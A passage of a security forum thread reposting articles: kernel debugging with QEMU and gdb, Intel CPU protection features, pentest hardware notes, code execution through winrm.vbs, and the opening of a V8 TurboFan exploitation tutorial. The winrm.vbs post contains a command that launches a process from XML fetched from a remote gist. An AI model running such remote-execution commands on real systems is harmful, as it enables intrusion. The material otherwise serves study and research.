00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff inet6 fe80::5054:ff:fe12:3456/64 scope link valid_lft forever preferred_lft forever QEMU and the host can now communicate using their IPv6 Link-local addresses. After all, it is 2019. Copypasta # Building a minimal debuggable Kernel make defconfig make kvmconfig ./scripts/config -e CONFIG_DEBUG_INFO -d CONFIG_RANDOMIZE_BASE -d CONFIG_MODULES make olddefconfig make -j4 # Create root filesystem mkfs.ext4 rootfs.img mkdir mnt sudo mount -o loop rootfs.img mnt/ sudo debootstrap bionic mnt/ # Add following lines to mnt/etc/systemd/system/serial-getty@ttyS0.service.d/autologin.conf # START [Service] ExecStart= ExecStart=-/sbin/agetty --noissue --autologin root %I $TERM Type=idle # END # Unmount the filesystem sudo umount mnt # Boot Kernel with root file system in QEMU qemu-system-x86_64 -nographic -kernel linux-4.20.6/arch/x86/boot/bzImage -hda rootfs.img -append "root=/dev/sda rw console=ttyS0" -s # Attach gdb gdb ./linux-4.20.6/vmlinux (gdb) target remote :1234 Sursa: https://www.anmolsarma.in/post/single-step-kernel/
    1 point
  9. Intel CPU security features huku edited this page on Jul 31, 2016 · 23 revisions Intel CPU security features List of Intel CPU security features along with short descriptions taken from the Intel manuals. WP (Write Protect) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR0.WP allows pages to be protected from supervisor-mode writes. If CR0.WP = 0, supervisor-mode write accesses are allowed to linear addresses with read-only access rights; if CR0.WP = 1, they are not (User-mode write accesses are never allowed to linear addresses with read-only access rights, regardless of the value of CR0.WP). Interesting links: WP: Safe or Not? NXE/XD (No-Execute Enable/Execute Disable) (PDF) Regarding IA32_EFER MSR and NXE (Volume 3A, 4-3, Paragraph 4.1.3): IA32_EFER.NXE enables execute-disable access rights for PAE paging and IA-32e paging. If IA32_EFER.NXE = 1, instructions fetches can be prevented from specified linear addresses (even if data reads from the addresses are allowed). IA32_EFER.NXE has no effect with 32-bit paging. Software that wants to use this feature to limit instruction fetches from readable pages must use either PAE paging or IA-32e paging. Regarding XD (Volume 3A, 4-17, Table 4-11): If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 4-KByte page controlled by this entry; see Section 4.6); otherwise, reserved (must be 0). SMAP (Supervisor Mode Access Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMAP allows pages to be protected from supervisor-mode data accesses. If CR4.SMAP = 1, software operating in supervisor mode cannot access data at linear addresses that are accessible in user mode. Software can override this protection by setting EFLAGS.AC. SMEP (Supervisor Mode Execution Protection) (PDF) Quoting Volume 3A, 4-3, Paragraph 4.1.3: CR4.SMEP allows pages to be protected from supervisor-mode instruction fetches. If CR4.SMEP = 1, software operating in supervisor mode cannot fetch instructions from linear addresses that are accessible in user mode. MPX (Memory Protection Extensions) (PDF) Intel MPX introduces new bounds registers and new instructions that operate on bounds registers. Intel MPX allows an OS to support user mode software (operating at CPL = 3) and supervisor mode software (CPL < 3) to add memory protection capability against buffer overrun. It provides controls to enable Intel MPX extensions for user mode and supervisor mode independently. Intel MPX extensions are designed to allow software to associate bounds with pointers, and allow software to check memory references against the bounds associated with the pointer to prevent out of bound memory access (thus preventing buffer overflow). Interesting links: Intel MPX support in the GCC compiler Intel Memory Protection Extensions (Intel MPX) for Linux intel_mpx.txt in Linux Kernel documentation SGX (Software Guard Extensions) (PDF) These extensions allow an application to instantiate a protected container, referred to as an enclave. An enclave is a protected area in the application’s address space (see Figure 1-1), which provides confidentiality and integrity even in the presence of privileged malware. Accesses to the enclave memory area from any software not resident in the enclave are prevented. Interesting links: Intel Software Guard Extensions (SGX): A Researcher’s Primer CreateEnclave function at MSDN Protection keys (PDF) Quoting Volume 3A, 4-31, Paragraph 4.6.2: The protection-key feature provides an additional mechanism by which IA-32e paging controls access to user-mode addresses. When CR4.PKE = 1, every linear address is associated with the 4-bit protection key located in bits 62:59 of the paging-structure entry that mapped the page containing the linear address. The PKRU register determines, for each protection key, whether user-mode addresses with that protection key may be read or written. The following paragraphs, taken from LWN, shed some light on the purpose of memory protection keys: One might well wonder why this feature is needed when everything it does can be achieved with the memory-protection bits that already exist. The problem with the current bits is that they can be expensive to manipulate. A change requires invalidating translation lookaside buffer (TLB) entries across the entire system, which is bad enough, but changing the protections on a region of memory can require individually changing the page-table entries for thousands (or more) pages. Instead, once the protection keys are set, a region of memory can be enabled or disabled with a single register write. For any application that frequently changes the protections on regions of its address space, the performance improvement will be large. There is still the question (as asked by Ingo Molnar) of just why a process would want to make this kind of frequent memory-protection change. There would appear to be a few use cases driving this development. One is the handling of sensitive cryptographic data. A network-facing daemon could use a cryptographic key to encrypt data to be sent over the wire, then disable access to the memory holding the key (and the plain-text data) before writing the data out. At that point, there is no way that the daemon can leak the key or the plain text over the wire; protecting sensitive data in this way might also make applications a bit more resistant to attack. Another commonly mentioned use case is to protect regions of data from being corrupted by "stray" write operations. An in-memory database could prevent writes to the actual data most of the time, enabling them only briefly when an actual change needs to be made. In this way, database corruption due to bugs could be fended off, at least some of the time. Ingo was unconvinced by this use case; he suggested that a 64-bit address space should be big enough to hide data in and protect it from corruption. He also suggested that a version of mprotect() that optionally skipped TLB invalidation could address many of the performance issues, especially if huge pages were used. Alan Cox responded, though, that there is real-world demand for the ability to change protection on gigabytes of memory at a time, and that mprotect() is simply too slow. CET (Control-flow Enforcement Technology) (PDF) Control-flow Enforcement Technology (CET) provides the following capabilities to defend against ROP/JOP style control-flow subversion attacks: Shadow Stack – return address protection to defend against Return Oriented Programming, Indirect branch tracking – free branch protection to defend against Jump/Call Oriented Programming. Sursa: https://github.com/huku-/research/wiki/Intel-CPU-security-features
    1 point
  10. PentestHardware Kinda useful notes collated together publicly Comments and Fixes - some very kind people have begun to proofread this as I am writing it. It's still a long way from being finished, but comments are always welcome. Make an issue and provide comments in-PDF if you can. NB - this is very much a work in progress, released early for comments and feedback. Hoping to complete first full version by XMas 2018. For the current releases, this material is released under Creative Commons v3.0 - quote me all you like, and reference my work no problem, print copies for yourselves, but just leave my name on it. Sursa: https://github.com/unprovable/PentestHardware
    1 point
  11. Matt harr0ey Feb 2 Introduction This beginning alludes to give point simple concept related to using Winrm.vbs to do code executed by XML file so I could collect a few ideas we totally can use to do a simple method is being offered by the red team like Winrm.vbs is getting more popular so I found some things can’t waste any more time to release them, Winrm.vbs ==> Windows Remote Management Synopsis Winrm is simple service to manage your code execute or instruction on any systems via your computer using WS-Management protocol but this service isn’t being offered here in this a blog post I just give local execute but this may happen remotely if you connect with any servers or computers further information, https://docs.microsoft.com/en-us/windows/desktop/winrm/about-windows-remote-management Usage XML/Winrm.vbs First of all if you just heard about XML/Winrm.vbs here at this time when you saw this a blog post I would say, Yes this research winrm.vbs is totally different from any XML codes else so you can go to have a look at this Microsoft’s concept It gives good description to understand Winrm’s instruction to use So what’s the relationship between normal XML and Winrm XML I think the different from normal XML code and Winrm.vbs code is simple different between them there is something called normal XML is easy to understand but it doesn’t Winrm’s XML isn’t, but Winrm.vbs XML has different codes and different uses from normal XML so let’s go to have a look at picture contains a bit instruction related to WInrm’s XML code MS-Windows Remote management Small notes guys It’s better for you to take full privileges Open as administrator or if you use any platforms Empire Powershell or MSF you can go to get more high level than normal session but don’t forget to use Get-TokenPrvivs https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-TokenPrivs.ps1 Currently we have graphic inside a picture shows some information is beneficial for you how XML’s code is being implemented via XML instructions, but be careful because normal language XML cannot be used by Winrm.vbs I think we must use only Winrm’s XML language and Its version, These some instructions take you to how you can execute XML/Winrm.vbs via Cscript.exe although I found something else related to the same execute Winrm.vbs but It doesn’t work on my version windows but may works on Windows server2008 or others versions as well, if you have VM and Windows server2008 you can use this research remotely This text shows remote execute and next picture shows local execute cscript.exe winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -remote:https://gist.githubuserconten t.com/homjxi0e/da3a5f4b5f48d60b156960bf27a4d164/raw/b615f853cf962566a516a320e9324fbfdcb124fc/PoCWinrm.xml Here you can look forward to seeing another new Winrm a blog post detected ( RedCanary ) Reference, Lateral Movement Using WinRM and WMI https://www.redcanary.com/blog/lateral-movement-winrm-wmi/ Sursa: https://medium.com/@mattharr0ey/round-of-use-winrm-code-execution-xml-6e3219d3e31
    1 point
  12. Introduction to TurboFan Date Mon 28 January 2019 By Jeremy "__x86" Fetiveau Category exploitation Tags v8 turbofan exploitation Introduction Ages ago I wrote a blog post here called first dip in the kernel pool, this year we're going to swim in a sea of nodes! The current trend is to attack JavaScript engines and more specifically, optimizing JIT compilers such as V8's TurboFan, SpiderMonkey's IonMonkey, JavaScriptCore's Data Flow Graph (DFG) & Faster Than Light (FTL) or Chakra's Simple JIT & FullJIT. In this article we're going to discuss TurboFan and play along with the sea of nodes structure it uses. Then, we'll study a vulnerable optimization pass written by @_tsuro for Google's CTF 2018 and write an exploit for it. We’ll be doing that on a x64 Linux box but it really is the exact same exploitation for Windows platforms (simply use a different shellcode!). If you want to follow along, you can check out the associated repo. Table of contents: Introduction Setup Building v8 The d8 shell Preparing Turbolizer Compilation pipeline Sea of Nodes Control edges Value edges Effect edges Experimenting with the optimization phases Playing with NumberAdd Graph builder phase Typer phase Type lowering Range types CheckBounds nodes Simplified lowering Playing with various addition opcodes SpeculativeSafeIntegerAdd SpeculativeNumberAdd Int32Add JSAdd NumberAdd The DuplicateAdditionReducer challenge Understanding the reduction Understanding the bug Precision loss with IEEE-754 doubles Exploitation Improving the primitive Step 0 : Corrupting a FixedDoubleArray Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store Step 2 : Getting a fake object Step 3 : Arbitrary read/write primitive Step 4 : Overwriting WASM RWX memory Full exploit Conclusion Recommended reading Setup Building v8 Building v8 is very easy. You can simply fetch the sources using depot tools and then build using the following commands: fetch v8 gclient sync ./build/install-build-deps.sh tools/dev/gm.py x64.release Please note that whenever you're updating the sources or checking out a specific commit, do gclient sync or you might be unable to build properly. The d8 shell A very convenient shell called d8 is provided with the engine. For faster builds, limit the compilation to this shell: ~/v8$ ./tools/dev/gm.py x64.release d8 Try it: ~/v8$ ./out/x64.release/d8 V8 version 7.3.0 (candidate) d8> print("hello doare") hello doare Many interesting flags are available. List them using d8 --help. In particular, v8 comes with runtime functions that you can call from JavaScript using the % prefix. To enable this syntax, you need to use the flag --allow-natives-syntax. Here is an example: $ d8 --allow-natives-syntax V8 version 7.3.0 (candidate) d8> let a = new Array('d','o','a','r','e') undefined d8> %DebugPrint(a) DebugPrint: 0x37599d40aee1: [JSArray] - map: 0x01717e082d91 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x39ea1928fdb1 <JSArray[0]> - elements: 0x37599d40af11 <FixedArray[5]> [PACKED_ELEMENTS] - length: 5 - properties: 0x0dfc80380c19 <FixedArray[0]> { #length: 0x3731486801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x37599d40af11 <FixedArray[5]> { 0: 0x39ea1929d8d9 <String[#1]: d> 1: 0x39ea1929d8f1 <String[#1]: o> 2: 0x39ea1929d8c1 <String[#1]: a> 3: 0x39ea1929d909 <String[#1]: r> 4: 0x39ea1929d921 <String[#1]: e> } 0x1717e082d91: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x01717e082d41 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype_validity cell: 0x373148680601 <Cell value= 1> - instance descriptors #1: 0x39ea192909f1 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x39ea192909c1 <TransitionArray[4]>Transition array #1: 0x0dfc80384b71 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x01717e082de1 <Map(HOLEY_ELEMENTS)> - prototype: 0x39ea1928fdb1 <JSArray[0]> - constructor: 0x39ea1928fb79 <JSFunction Array (sfi = 0x37314868ab01)> - dependent code: 0x0dfc803802b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 ["d", "o", "a", "r", "e"] If you want to know about existing runtime functions, simply go to src/runtime/ and grep on all the RUNTIME_FUNCTION (this is the macro used to declare a new runtime function). Preparing Turbolizer Turbolizer is a tool that we are going to use to debug TurboFan's sea of nodes graph. cd tools/turbolizer npm i npm run-script build python -m SimpleHTTPServer When you execute a JavaScript file with --trace-turbo (use --trace-turbo-filter to limit to a specific function), a .cfg and a .json files are generated so that you can get a graph view of different optimization passes using Turbolizer. Simply go to the web interface using your favourite browser (which is Chromium of course) and select the file from the interface. Compilation pipeline Let's take the following code. let f = (o) => { var obj = [1,2,3]; var x = Math.ceil(Math.random()); return obj[o+x]; } for (let i = 0; i < 0x10000; ++i) { f(i); } We can trace optimizations with --trace-opt and observe that the function f will eventually get optimized by TurboFan as you can see below. $ d8 pipeline.js --trace-opt [marking 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> for optimized recompilation, reason: small function, ICs with typeinfo: 4/4 (100%), generic ICs: 0/4 (0%)] [marking 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 2/7 (28%)] [compiling method 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> using TurboFan] [optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)> - took 23.583, 25.899, 0.444 ms] [completed optimizing 0x28645d1801b1 <JSFunction f (sfi = 0x192ee849d9c9)>] [compiling method 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> using TurboFan OSR] [optimizing 0x192ee849db41 <JSFunction (sfi = 0x192ee849d991)> - took 18.238, 87.603, 0.874 ms] We can look at the code object of the function before and after optimization using %DisassembleFunction. // before 0x17de4c02061: [Code] - map: 0x0868f07009d9 <Map> kind = BUILTIN name = InterpreterEntryTrampoline compiler = unknown address = 0x7ffd9c25d340 // after 0x17de4c82d81: [Code] - map: 0x0868f07009d9 <Map> kind = OPTIMIZED_FUNCTION stack_slots = 8 compiler = turbofan address = 0x7ffd9c25d340 What happens is that v8 first generates ignition bytecode. If the function gets executed a lot, TurboFan will generate some optimized code. Ignition instructions gather type feedback that will help for TurboFan's speculative optimizations. Speculative optimization means that the code generated will be made upon assumptions. For instance, if we've got a function move that is always used to move an object of type Player, optimized code generated by Turbofan will expect Player objects and will be very fast for this case. class Player{} class Wall{} function move(o) { // ... } player = new Player(); move(player) move(player) ... // ... optimize code! the move function handles very fast objects of type Player move(player) However, if 10 minutes later, for some reason, you move a Wall instead of a Player, that will break the assumptions originally made by TurboFan. The generated code was very fast, but could only handle Player objects. Therefore, it needs to be destroyed and some ignition bytecode will be generated instead. This is called deoptimization and it has a huge performance cost. If we keep moving both Wall and Player, TurboFan will take this into account and optimize again the code accordingly. Let's observe this behaviour using --trace-opt and --trace-deopt ! class Player{} class Wall{} function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x; } for (var i = 0; i < 0x10000; ++i) { move(new Player()); } move(new Wall()); for (var i = 0; i < 0x10000; ++i) { move(new Wall()); } $ d8 deopt.js --trace-opt --trace-deopt [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 23.374, 15.701, 0.379 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] [deoptimizing (DEOPT eager): begin 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> (opt #0) @1, FP to SP delta: 24, caller sp: 0x7ffcd23cba98] ;;; deoptimize at <deopt.js:5:17>, wrong map // [...] [deoptimizing (eager): end 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> @1 => node=0, pc=0x7fa245e11e60, caller sp=0x7ffcd23cba98, took 0.755 ms] [marking 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)] [compiling method 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> using TurboFan] [optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)> - took 11.599, 10.742, 0.573 ms] [completed optimizing 0x1fb2b5c9df89 <JSFunction move (sfi = 0x1fb2b5c9dad9)>] // [...] The log clearly shows that when encountering the Wall object with a different map (understand "type") it deoptimizes because the code was only meant to deal with Player objects. If you are interested to learn more about this, I recommend having a look at the following ressources: TurboFan Introduction to speculative optimization in v8, v8 behind the scenes, Shape and v8 resources. Sea of Nodes Just a few words on sea of nodes. TurboFan works on a program representation called a sea of nodes. Nodes can represent arithmetic operations, load, stores, calls, constants etc. There are three types of edges that we describe one by one below. Control edges Control edges are the same kind of edges that you find in Control Flow Graphs. They enable branches and loops. Value edges Value edges are the edges you find in Data Flow Graphs. They show value dependencies. Effect edges Effect edges order operations such as reading or writing states. In a scenario like obj[x] = obj[x] + 1 you need to read the property x before writing it. As such, there is an effect edge between the load and the store. Also, you need to increment the read property before storing it. Therefore, you need an effect edge between the load and the addition. In the end, the effect chain is load -> add -> store as you can see below. If you would like to learn more about this you may want to check this TechTalk on TurboFan JIT design or this blog post. Experimenting with the optimization phases In this article we want to focus on how v8 generates optimized code using TurboFan. As mentioned just before, TurboFan works with sea of nodes and we want to understand how this graph evolves through all the optimizations. This is particularly interesting to us because some very powerful security bugs have been found in this area. Recent TurboFan vulnerabilities include incorrect typing of Math.expm1, incorrect typing of String.(last)IndexOf (that I exploited here) or incorrect operation side-effect modeling. In order to understand what happens, you really need to read the code. Here are a few places you want to look at in the source folder : src/builtin Where all the builtins functions such as Array#concat are implemented src/runtime Where all the runtime functions such as %DebugPrint are implemented src/interpreter/interpreter-generator.cc Where all the bytecode handlers are implemented src/compiler Main repository for TurboFan! src/compiler/pipeline.cc The glue that builds the graph, runs every phase and optimizations passes etc src/compiler/opcodes.h Macros that defines all the opcodes used by TurboFan src/compiler/typer.cc Implements typing via the Typer reducer src/compiler/operation-typer.cc Implements some more typing, used by the Typer reducer src/compiler/simplified-lowering.cc Implements simplified lowering, where some CheckBounds elimination will be done Playing with NumberAdd Let's consider the following function : function opt_me() { let x = Math.random(); let y = x + 2; return y + 3; } Simply execute it a lot to trigger TurboFan or manually force optimization with %OptimizeFunctionOnNextCall. Run your code with --trace-turbo to generate trace files for turbolizer. Graph builder phase We can look at the very first generated graph by selecting the "bytecode graph builder" option. The JSCall node corresponds to the Math.random call and obviously the NumberConstant and SpeculativeNumberAdd nodes are generated because of both x+2 and y+3 statements. Typer phase After graph creation comes the optimization phases, which as the name implies run various optimization passes. An optimization pass can be called during several phases. One of its early optimization phase, is called the TyperPhase and is run by OptimizeGraph. The code is pretty self-explanatory. // pipeline.cc bool PipelineImpl::OptimizeGraph(Linkage* linkage) { PipelineData* data = this->data_; // Type the graph and keep the Typer running such that new nodes get // automatically typed when they are created. Run<TyperPhase>(data->CreateTyper()); // pipeline.cc struct TyperPhase { void Run(PipelineData* data, Zone* temp_zone, Typer* typer) { // [...] typer->Run(roots, &induction_vars); } }; When the Typer runs, it visits every node of the graph and tries to reduce them. // typer.cc void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { // [...] Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); // [...] } class Typer::Visitor : public Reducer { // ... Reduction Reduce(Node* node) override { // calls visitors such as JSCallTyper } // typer.cc Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinFunctionId()) { return Type::NonInternal(); } switch (function.shared().builtin_function_id()) { case BuiltinFunctionId::kMathRandom: return Type::PlainNumber(); So basically, the TyperPhase is going to call JSCallTyper on every single JSCall node that it visits. If we read the code of JSCallTyper, we see that whenever the called function is a builtin, it will associate a Type with it. For instance, in the case of a call to the MathRandom builtin, it knows that the expected return type is a Type::PlainNumber. Type Typer::Visitor::TypeNumberConstant(Node* node) { double number = OpParameter<double>(node->op()); return Type::NewConstant(number, zone()); } Type Type::NewConstant(double value, Zone* zone) { if (RangeType::IsInteger(value)) { return Range(value, value, zone); } else if (IsMinusZero(value)) { return Type::MinusZero(); } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone); } For the NumberConstant nodes it's easy. We simply read TypeNumberConstant. In most case, the type will be Range. What about those SpeculativeNumberAdd now? We need to look at the OperationTyper. #define SPECULATIVE_NUMBER_BINOP(Name) \ Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \ lhs = SpeculativeToNumber(lhs); \ rhs = SpeculativeToNumber(rhs); \ return Name(lhs, rhs); \ } SPECULATIVE_NUMBER_BINOP(NumberAdd) #undef SPECULATIVE_NUMBER_BINOP Type OperationTyper::SpeculativeToNumber(Type type) { return ToNumber(Type::Intersect(type, Type::NumberOrOddball(), zone())); } They end-up being reduced by OperationTyper::NumberAdd(Type lhs, Type rhs) (the return Name(lhs,rhs) becomes return NumberAdd(lhs, rhs) after pre-processing). To get the types of the right input node and the left input node, we call SpeculativeToNumber on both of them. To keep it simple, any kind of Type::Number will remain the same type (a PlainNumber being a Number, it will stay a PlainNumber). The Range(n,n) type will become a Number as well so that we end-up calling NumberAdd on two Number. NumberAdd mostly checks for some corner cases like if one of the two types is a MinusZero for instance. In most cases, the function will simply return the PlainNumber type. Okay done for the Typer phase! To sum up, everything happened in : - Typer::Visitor::JSCallTyper - OperationTyper::SpeculativeNumberAdd And this is how types are treated : - The type of JSCall(MathRandom) becomes a PlainNumber, - The type of NumberConstant[n] with n != NaN & n != -0 becomes a Range(n,n) - The type of a Range(n,n) is PlainNumber - The type of SpeculativeNumberAdd(PlainNumber, PlainNumber) is PlainNumber Now the graph looks like this : Type lowering In OptimizeGraph, the type lowering comes right after the typing. // pipeline.cc Run<TyperPhase>(data->CreateTyper()); RunPrintAndVerify(TyperPhase::phase_name()); Run<TypedLoweringPhase>(); RunPrintAndVerify(TypedLoweringPhase::phase_name()); This phase goes through even more reducers. // pipeline.cc TypedOptimization typed_optimization(&graph_reducer, data->dependencies(), data->jsgraph(), data->broker()); // [...] AddReducer(data, &graph_reducer, &dead_code_elimination); AddReducer(data, &graph_reducer, &create_lowering); AddReducer(data, &graph_reducer, &constant_folding_reducer); AddReducer(data, &graph_reducer, &typed_lowering); AddReducer(data, &graph_reducer, &typed_optimization); AddReducer(data, &graph_reducer, &simple_reducer); AddReducer(data, &graph_reducer, &checkpoint_elimination); AddReducer(data, &graph_reducer, &common_reducer); Let's have a look at the TypedOptimization and more specifically TypedOptimization::Reduce. When a node is visited and its opcode is IrOpcode::kSpeculativeNumberAdd, it calls ReduceSpeculativeNumberAdd. Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node->op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) && BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) && NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) { // SpeculativeNumberAdd(x:-string, y:-string) => // NumberAdd(ToNumber(x), ToNumber(y)) Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(node); } return NoChange(); } In the case of our two nodes, both have a hint of NumberOperationHint::kNumber because their type is a PlainNumber. Both the right and left hand side types are PlainPrimitive (PlainNumber from the NumberConstant's Range and PlainNumber from the JSCall). Therefore, a new NumberAdd node is created and replaces the SpeculativeNumberAdd. Similarly, there is a JSTypedLowering::ReduceJSCall called when the JSTypedLowering reducer is visiting a JSCall node. Because the call target is a Code Stub Assembler implementation of a builtin function, TurboFan simply creates a LoadField node and change the opcode of the JSCall node to a Call opcode. It also adds new inputs to this node. Reduction JSTypedLowering::ReduceJSCall(Node* node) { // [...] // Check if {target} is a known JSFunction. // [...] // Load the context from the {target}. Node* context = effect = graph()->NewNode( simplified()->LoadField(AccessBuilder::ForJSFunctionContext()), target, effect, control); NodeProperties::ReplaceContextInput(node, context); // Update the effect dependency for the {node}. NodeProperties::ReplaceEffectInput(node, effect); // [...] // kMathRandom is a CSA builtin, not a CPP one // builtins-math-gen.cc:TF_BUILTIN(MathRandom, CodeStubAssembler) // builtins-definitions.h: TFJ(MathRandom, 0, kReceiver) } else if (shared.HasBuiltinId() && Builtins::HasCppImplementation(shared.builtin_id())) { // Patch {node} to a direct CEntry call. ReduceBuiltin(jsgraph(), node, shared.builtin_id(), arity, flags); } else if (shared.HasBuiltinId() && Builtins::KindOf(shared.builtin_id()) == Builtins::TFJ) { // Patch {node} to a direct code object call. Callable callable = Builtins::CallableFor( isolate(), static_cast<Builtins::Name>(shared.builtin_id())); CallDescriptor::Flags flags = CallDescriptor::kNeedsFrameState; const CallInterfaceDescriptor& descriptor = callable.descriptor(); auto call_descriptor = Linkage::GetStubCallDescriptor( graph()->zone(), descriptor, 1 + arity, flags); Node* stub_code = jsgraph()->HeapConstant(callable.code()); node->InsertInput(graph()->zone(), 0, stub_code); // Code object. node->InsertInput(graph()->zone(), 2, new_target); node->InsertInput(graph()->zone(), 3, argument_count); NodeProperties::ChangeOp(node, common()->Call(call_descriptor)); } // [...] return Changed(node); } Let's quickly check the sea of nodes to indeed observe the addition of the LoadField and the change of opcode of the node #25 (note that it is the same node as before, only the opcode changed). Range types Previously, we encountered various types including the Range type. However, it was always the case of Range(n,n) of size 1. Now let's consider the following code : function opt_me(b) { let x = 10; // [1] x0 = 10 if (b == "foo") x = 5; // [2] x1 = 5 // [3] x2 = phi(x0, x1) let y = x + 2; y = y + 1000; y = y * 2; return y; } So depending on b == "foo" being true or false, x will be either 10 or 5. In SSA form, each variable can be assigned only once. So x0 and x1 will be created for 10 and 5 at lines [1] and [2]. At line [3], the value of x (x2 in SSA) will be either x0 or x1, hence the need of a phi function. The statement x2 = phi(x0,x1) means that x2 can take the value of either x0 or x1. So what about types now? The type of the constant 10 (x0) is Range(10,10) and the range of constant 5 (x1) is Range(5,5). Without surprise, the type of the phi node is the union of the two ranges which is Range(5,10). Let's quickly draw a CFG graph in SSA form with typing. Okay, let's actually check this by reading the code. Type Typer::Visitor::TypePhi(Node* node) { int arity = node->op()->ValueInputCount(); Type type = Operand(node, 0); for (int i = 1; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type; } The code looks exactly as we would expect it to be: simply the union of all of the input types! To understand the typing of the SpeculativeSafeIntegerAdd nodes, we need to go back to the OperationTyper implementation. In the case of SpeculativeSafeIntegerAdd(n,m), TurboFan does an AddRange(n.Min(), n.Max(), m.Min(), m.Max()). Type OperationTyper::SpeculativeSafeIntegerAdd(Type lhs, Type rhs) { Type result = SpeculativeNumberAdd(lhs, rhs); // If we have a Smi or Int32 feedback, the representation selection will // either truncate or it will check the inputs (i.e., deopt if not int32). // In either case the result will be in the safe integer range, so we // can bake in the type here. This needs to be in sync with // SimplifiedLowering::VisitSpeculativeAdditiveOp. return Type::Intersect(result, cache_->kSafeIntegerOrMinusZero, zone()); } Type OperationTyper::NumberAdd(Type lhs, Type rhs) { // [...] Type type = Type::None(); lhs = Type::Intersect(lhs, Type::PlainNumber(), zone()); rhs = Type::Intersect(rhs, Type::PlainNumber(), zone()); if (!lhs.IsNone() && !rhs.IsNone()) { if (lhs.Is(cache_->kInteger) && rhs.Is(cache_->kInteger)) { type = AddRanger(lhs.Min(), lhs.Max(), rhs.Min(), rhs.Max()); } // [...] return type; } AddRanger is the function that actually computes the min and max bounds of the Range. Type OperationTyper::AddRanger(double lhs_min, double lhs_max, double rhs_min, double rhs_max) { double results[4]; results[0] = lhs_min + rhs_min; results[1] = lhs_min + rhs_max; results[2] = lhs_max + rhs_min; results[3] = lhs_max + rhs_max; // Since none of the inputs can be -0, the result cannot be -0 either. // However, it can be nan (the sum of two infinities of opposite sign). // On the other hand, if none of the "results" above is nan, then the // actual result cannot be nan either. int nans = 0; for (int i = 0; i < 4; ++i) { if (std::isnan(results[i])) ++nans; } if (nans == 4) return Type::NaN(); Type type = Type::Range(array_min(results, 4), array_max(results, 4), zone()); if (nans > 0) type = Type::Union(type, Type::NaN(), zone()); // Examples: // [-inf, -inf] + [+inf, +inf] = NaN // [-inf, -inf] + [n, +inf] = [-inf, -inf] \/ NaN // [-inf, +inf] + [n, +inf] = [-inf, +inf] \/ NaN // [-inf, m] + [n, +inf] = [-inf, +inf] \/ NaN return type; } Done with the range analysis! 